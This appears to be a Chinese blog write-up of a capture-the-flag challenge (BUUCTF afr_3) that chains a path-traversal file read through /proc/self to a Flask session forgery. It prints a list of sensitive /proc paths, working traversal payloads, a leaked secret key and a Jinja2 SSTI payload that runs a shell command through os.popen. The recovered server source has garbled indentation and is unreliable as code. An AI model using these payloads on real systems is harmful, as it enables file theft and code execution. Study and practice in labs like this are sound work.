《从0到1:CTFer成长之路》书籍配套题目--afr_3 BUUCTF

在这里插入图片描述
还是任意文件读取漏洞
进入坏境
在这里插入图片描述
在这里插入图片描述
点入链接
在这里插入图片描述
这边可以读取文件
试一试article?name=../../../etc/passwd
在这里插入图片描述

在这里插入图片描述

读不到flag

/proc详解
linux进程与它的文件描述符、/proc/self 表示当前进程目录、lsof

Linux内核源代码情景分析-特殊文件系统/proc-对/proc/self/cwd的访问

/proc/sched_debug # 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
/proc/mounts # 挂载的文件系统列表
/proc/net/arp # arp表,可以获得内网其他机器的地址
/proc/net/route # 路由表信息
/proc/net/tcp and /proc/net/udp # 活动连接的信息
/proc/net/fib_trie # 路由缓存
/proc/version  # 内核版本
/proc/[PID]/cmdline # 可能包含有用的路径信息
/proc/[PID]/environ #  程序运行的环境变量信息,可以用来包含getshell
/proc/[PID]/cwd     # 当前进程的工作目录
/proc/[PID]/fd/[#] # 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log

使用这个

payload:article?name=../../../proc/self/cmdline

在这里插入图片描述

PS:self当前运行进程ID的符号链接

在这里插入图片描述

回显python server.py

要想办法读取这个文件
因为不知道当前的路径,无法通过路径读取
所以通过当前进程的工作目录来读取

在这里插入图片描述
使用这个

payload:article?name=../../../proc/self/cwd/server.py

在这里插入图片描述
读到这个文件了耶
在这里插入图片描述
代码如下

#!/usr/bin/python
import os
from flask import (Flask, render_template, request, url_for, redirect, session, render_template_string)
from flask_session import Session

app = Flask(__name__)
execfile('flag.py')#execfile() 函数可以用来执行一个文件。
execfile('key.py')
FLAG = flag
app.secret_key = key @ app.route("/n1page", methods=["GET", "POST"])


def n1page():
    if request.method != "POST":
        return redirect(url_for("index"))
    n1code = request.form.get("n1code") or None
    if n1code is not None: n1code = n1code.replace(".", "").replace("_", "").replace("{", "").replace("}", "")
if "n1code" not in session or session['n1code'] is None: session['n1code'] = n1code
template = None
if session[
    'n1code'] is not None: template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' %
session['n1code']
session['n1code'] = None
return render_template_string(template) @ app.route("/", methods=["GET"])


def index(): return render_template("main.html") @ app.route('/article', methods=['GET'])


def article(): error = 0


if 'name' in request.args:
    page = request.args.get('name') else:
    page = 'article'
if page.find('flag') >= 0: page = 'notallowed.txt'
try:
    template = open('/home/nu11111111l/articles/{}'.format(page)).read() except Exception as e:
    template = e
return render_template('article.html', template=template)
if __name__ == "__main__": app.run(host='0.0.0.0', debug=False)

因为python不熟,这里就都是看别人的分析了

flag在flag.py(flag被过滤)
flask的appkey在key.py
源码里面存在ssti,前提是可以伪造flask的session

flask之ssti模版注入从零到入门
render()函数进行服务器端渲染(详细)

访问flag.py
在这里插入图片描述

访问key.py
在这里插入图片描述

接下来开始伪造session

密钥是Drmhze6EPcv0fN_81Bj-nA
构造

{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}

加密。加密的脚本这样获取:

git clone https://github.com/noraj/flask-session-cookie-manager

在这里插入图片描述
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.X7VhLg.TjoSPMRjbzbRBNeGnJ2EtXbpNCM

添加cookie上传
在这里插入图片描述

  • 7
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值